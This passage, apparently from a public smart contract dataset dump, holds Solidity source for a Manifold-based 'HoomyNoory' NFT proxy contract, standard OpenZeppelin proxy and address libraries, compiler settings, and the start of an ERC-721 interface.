"content": "\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @author: manifold.xyz\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/StorageSlot.sol\";\n\ncontract ERC721Creator is Proxy {\n \n constructor(string memory name, string memory symbol) {\n assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;\n Address.functionDelegateCall(\n 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,\n abi.encodeWithSignature(\"initialize(string,string)\", name, symbol)\n );\n }\n \n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal override view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n } \n\n}\n"
|
6 |
+
},
|
7 |
+
"contracts/HON.sol": {
|
8 |
+
"content": "\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @title: HoomyNoory\n/// @author: manifold.xyz\n\nimport \"./ERC721Creator.sol\";\n\n////////////////////////////////////////////\n// //\n// //\n// ╦ ╦╔═╗╔═╗╔╦╗╦ ╦ ╔╗╔╔═╗╔═╗╦═╗╦ ╦ //\n// ╠═╣║ ║║ ║║║║╚╦╝ ║║║║ ║║ ║╠╦╝╚╦╝ //\n// ╩ ╩╚═╝╚═╝╩ ╩ ╩ ╝╚╝╚═╝╚═╝╩╚═ ╩ //\n// //\n// //\n////////////////////////////////////////////\n\n\ncontract HON is ERC721Creator {\n constructor() ERC721Creator(\"HoomyNoory\", \"HON\") {}\n}\n"
|
9 |
+
},
|
10 |
+
"node_modules/@openzeppelin/contracts/proxy/Proxy.sol": {
|
11 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
|
12 |
+
},
|
13 |
+
"node_modules/@openzeppelin/contracts/utils/Address.sol": {
|
14 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
|
15 |
+
},
|
16 |
+
"node_modules/@openzeppelin/contracts/utils/StorageSlot.sol": {
|
17 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n}\n"
|
18 |
+
}
|
19 |
+
},
|
20 |
+
"settings": {
|
21 |
+
"remappings": [
|
22 |
+
"@openzeppelin/=node_modules/@openzeppelin/"
|
23 |
+
],
|
24 |
+
"optimizer": {
|
25 |
+
"enabled": true,
|
26 |
+
"runs": 300
|
27 |
+
},
|
28 |
+
"metadata": {
|
29 |
+
"bytecodeHash": "ipfs"
|
30 |
+
},
|
31 |
+
"outputSelection": {
|
32 |
+
"*": {
|
33 |
+
"*": [
|
34 |
+
"evm.bytecode",
|
35 |
+
"evm.deployedBytecode",
|
36 |
+
"devdoc",
|
37 |
+
"userdoc",
|
38 |
+
"metadata",
|
39 |
+
"abi"
|
40 |
+
]
|
41 |
+
}
|
42 |
+
},
|
43 |
+
"evmVersion": "london",
|
44 |
+
"libraries": {}
|
45 |
+
}
|
46 |
+
}
|
organized_contracts/00/00038f4fd3934efaf913adef2788ffa2d3a720efea3c45d177e74c18da64cd6d/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"HON","CompilerVersion":"v0.8.7+commit.e28d00a7","Runs":300,"OptimizationUsed":true,"BytecodeHash":"00038f4fd3934efaf913adef2788ffa2d3a720efea3c45d177e74c18da64cd6d"}
|
organized_contracts/00/00040fa1294a61ca4c9447acf3f16d9060be83afbe6b21a8f19c88168b7b4d60/main.sol
ADDED
@@ -0,0 +1,1041 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
// SPDX-License-Identifier: MIT
|
4 |
+
pragma solidity 0.8.0;
|
5 |
+
|
6 |
+
|
7 |
+
/**
|
8 |
+
* @dev ERC-721 non-fungible token standard.
|
9 |
+
* See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md.
|
10 |
+
*/
|
11 |
+
interface ERC721 {
|
12 |
+
|
13 |
+
/**
|
14 |
+
* @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are
|
15 |
+
* created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any
|
16 |
+
* number of NFTs may be created and assigned without emitting Transfer. At the time of any
|
17 |
+
* transfer, the approved address for that NFT (if any) is reset to none.
|
18 |
+
*/
|
19 |
+
event Transfer(
|
20 |
+
address indexed _from,
|
21 |
+
address indexed _to,
|
22 |
+
uint256 indexed _tokenId
|
23 |
+
);
|
24 |
+
|
25 |
+
/**
|
26 |
+
* @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero
|
27 |
+
* address indicates there is no approved address. When a Transfer event emits, this also
|
28 |
+
* indicates that the approved address for that NFT (if any) is reset to none.
|
29 |
+
*/
|
30 |
+
event Approval(
|
31 |
+
address indexed _owner,
|
32 |
+
address indexed _approved,
|
33 |
+
uint256 indexed _tokenId
|
34 |
+
);
|
35 |
+
|
36 |
+
/**
|
37 |
+
* @dev This emits when an operator is enabled or disabled for an owner. The operator can manage
|
38 |
+
* all NFTs of the owner.
|
39 |
+
*/
|
40 |
+
event ApprovalForAll(
|
41 |
+
address indexed _owner,
|
42 |
+
address indexed _operator,
|
43 |
+
bool _approved
|
44 |
+
);
|
45 |
+
|
46 |
+
/**
|
47 |
+
* @dev Transfers the ownership of an NFT from one address to another address.
|
48 |
+
* @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the
|
49 |
+
* approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is
|
50 |
+
* the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this
|
51 |
+
* function checks if `_to` is a smart contract (code size > 0). If so, it calls
|
52 |
+
* `onERC721Received` on `_to` and throws if the return value is not
|
53 |
+
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`.
|
54 |
+
* @param _from The current owner of the NFT.
|
55 |
+
* @param _to The new owner.
|
56 |
+
* @param _tokenId The NFT to transfer.
|
57 |
+
* @param _data Additional data with no specified format, sent in call to `_to`.
|
58 |
+
*/
|
59 |
+
function safeTransferFrom(
|
60 |
+
address _from,
|
61 |
+
address _to,
|
62 |
+
uint256 _tokenId,
|
63 |
+
bytes calldata _data
|
64 |
+
)
|
65 |
+
external;
|
66 |
+
|
67 |
+
/**
|
68 |
+
* @dev Transfers the ownership of an NFT from one address to another address.
|
69 |
+
* @notice This works identically to the other function with an extra data parameter, except this
|
70 |
+
* function just sets data to ""
|
71 |
+
* @param _from The current owner of the NFT.
|
72 |
+
* @param _to The new owner.
|
73 |
+
* @param _tokenId The NFT to transfer.
|
74 |
+
*/
|
75 |
+
function safeTransferFrom(
|
76 |
+
address _from,
|
77 |
+
address _to,
|
78 |
+
uint256 _tokenId
|
79 |
+
)
|
80 |
+
external;
|
81 |
+
|
82 |
+
/**
|
83 |
+
* @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
|
84 |
+
* address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero
|
85 |
+
* address. Throws if `_tokenId` is not a valid NFT.
|
86 |
+
* @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
|
87 |
+
* they may be permanently lost.
|
88 |
+
* @param _from The current owner of the NFT.
|
89 |
+
* @param _to The new owner.
|
90 |
+
* @param _tokenId The NFT to transfer.
|
91 |
+
*/
|
92 |
+
function transferFrom(
|
93 |
+
address _from,
|
94 |
+
address _to,
|
95 |
+
uint256 _tokenId
|
96 |
+
)
|
97 |
+
external;
|
98 |
+
|
99 |
+
/**
|
100 |
+
* @dev Set or reaffirm the approved address for an NFT.
|
101 |
+
* @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is
|
102 |
+
* the current NFT owner, or an authorized operator of the current owner.
|
103 |
+
* @param _approved The new approved NFT controller.
|
104 |
+
* @param _tokenId The NFT to approve.
|
105 |
+
*/
|
106 |
+
function approve(
|
107 |
+
address _approved,
|
108 |
+
uint256 _tokenId
|
109 |
+
)
|
110 |
+
external;
|
111 |
+
|
112 |
+
/**
|
113 |
+
* @dev Enables or disables approval for a third party ("operator") to manage all of
|
114 |
+
* `msg.sender`'s assets. It also emits the ApprovalForAll event.
|
115 |
+
* @notice The contract MUST allow multiple operators per owner.
|
116 |
+
* @param _operator Address to add to the set of authorized operators.
|
117 |
+
* @param _approved True if the operators is approved, false to revoke approval.
|
118 |
+
*/
|
119 |
+
function setApprovalForAll(
|
120 |
+
address _operator,
|
121 |
+
bool _approved
|
122 |
+
)
|
123 |
+
external;
|
124 |
+
|
125 |
+
/**
|
126 |
+
* @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are
|
127 |
+
* considered invalid, and this function throws for queries about the zero address.
|
128 |
+
* @notice Count all NFTs assigned to an owner.
|
129 |
+
* @param _owner Address for whom to query the balance.
|
130 |
+
* @return Balance of _owner.
|
131 |
+
*/
|
132 |
+
function balanceOf(
|
133 |
+
address _owner
|
134 |
+
)
|
135 |
+
external
|
136 |
+
view
|
137 |
+
returns (uint256);
|
138 |
+
|
139 |
+
/**
|
140 |
+
* @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are
|
141 |
+
* considered invalid, and queries about them do throw.
|
142 |
+
* @notice Find the owner of an NFT.
|
143 |
+
* @param _tokenId The identifier for an NFT.
|
144 |
+
* @return Address of _tokenId owner.
|
145 |
+
*/
|
146 |
+
function ownerOf(
|
147 |
+
uint256 _tokenId
|
148 |
+
)
|
149 |
+
external
|
150 |
+
view
|
151 |
+
returns (address);
|
152 |
+
|
153 |
+
/**
|
154 |
+
* @dev Get the approved address for a single NFT.
|
155 |
+
* @notice Throws if `_tokenId` is not a valid NFT.
|
156 |
+
* @param _tokenId The NFT to find the approved address for.
|
157 |
+
* @return Address that _tokenId is approved for.
|
158 |
+
*/
|
159 |
+
function getApproved(
|
160 |
+
uint256 _tokenId
|
161 |
+
)
|
162 |
+
external
|
163 |
+
view
|
164 |
+
returns (address);
|
165 |
+
|
166 |
+
/**
|
167 |
+
* @dev Returns true if `_operator` is an approved operator for `_owner`, false otherwise.
|
168 |
+
* @notice Query if an address is an authorized operator for another address
|
169 |
+
* @param _owner The address that owns the NFTs.
|
170 |
+
* @param _operator The address that acts on behalf of the owner.
|
171 |
+
* @return True if approved for all, false otherwise.
|
172 |
+
*/
|
173 |
+
